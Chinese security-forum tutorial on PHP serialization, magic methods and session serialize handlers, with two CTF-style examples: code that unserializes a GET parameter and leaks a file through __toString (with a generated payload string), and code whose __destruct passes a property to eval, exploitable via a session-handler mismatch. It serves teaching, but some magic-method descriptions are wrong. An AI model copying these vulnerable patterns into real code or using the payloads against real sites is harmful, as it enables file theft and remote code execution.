

尽量阐述全PHP序列化的相关东西。 -

1.序列化和反序列化

序列化是将变量或对象转换成字符串的过程；反序列化是将字符串转换成变量或对象的过程。

序列化及反序列化常见函数：serialize、unserialize、json_encode、json_decode。

序列化之后的格式：

array (a)

a:<length>:{key,value对}，例如a:1:{i:1;j:2;}

Boolean (b)

double (d)

integer (i)

object (o)

O:<class_name_length>:<class_name>:<number_of_properties>:{<properties>}，例如O:6:"person":2:{s:4:"name";N;d:3:"age";i:19;} (person对象name的属性值

string (s)

s:length:"value"，例如s:1:"f"

null (N) </properties></number_of_properties></class_name></class_name_length></length>

2.PHP中魔幻函数

construct：创建对象时初始化

destruction：结束时销毁对象

toString：对象被当作字符串时使用

sleep：序列化对象之前调用

wakeup：反序列化之前调用

call：调用对象不存在时使用

get：调用私有属性时使用

3.php_session序列化及反序列化知识

PHP内置了很多处理器用于对存入\$session的数据进行序列化和反序列化。有三种：php_binary（形式：键名长度的ASCII码+键名+序列化的值）、php（形式：键名+"|"-

示例：

代码：

```
<?php
ini_set('
session.serialize_handler', 'php');session_start();
$_SESSION['a'] = $_GET['a'];
var_dump($_SESSION);
?>
```

当网址中a=O:4:"pass":0:{}时，

php模式下形式为a:s:15:"O:4:"pass":0:{}";

php_serialize模式下形式为a:1:{s:1:"a";s:15:"O:4:"pass":0:{}"};

注意，要真的模拟测试，需要百度做详细的各种PHP参数配置哈。

4.安全漏洞

例1：将已序列化值反序列化，造成魔幻函数执行

```
<script language="php">
class Flag{ //flag.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br />";
return ("good");
}
}
$password = unserialize($_GET['password']);
echo $password;
</script>
```

说明：当对象被当做字符串（如序列化的结果是字符串）时会调用__toString()魔幻函数。

payload：

```
<script language="php">
class Flag{ //flag.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br />";
return ("good");      }    }}
$obj = new Flag();
$obj->file = "Flag.php";
echo serialize($obj);
</script>
```

输出序列化字符串：O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

将此字符串放至\$password变量中，执行即可获取flag.php界面的内容。

例2：PHP session处理器设置不当造成安全漏洞

```
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');session_start();
class OowoO{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo()';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}??
```

已知，php.ini（通过phpinfo可看）中session.serialize_handler = php_serialize，代码中ini_set('session.serialize_handler', 'php');注意，php会以"|"为界，将之前和之后的内容分别设为键名和键值；而php_serialize恰巧对"|"不敏感。emmmmm，猜到构造方法了吧。-。-可以给网页传入一个php_serialize的session，然后通过网页的php处理器解析后将"|"后的内容解析成值，执行之。

点击收藏 | 1 关注 | 1

[上一篇：关于MSF5一些你不得不知道的东西](#) [下一篇：Windows 7、8、10的权限...](#)

1. 2 条回复



原来俺的这篇成功出稿了

0 回复Ta



[sket****pl4ne](#) 2019-08-30 09:37:23

貌似是__toString()。。。

0 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)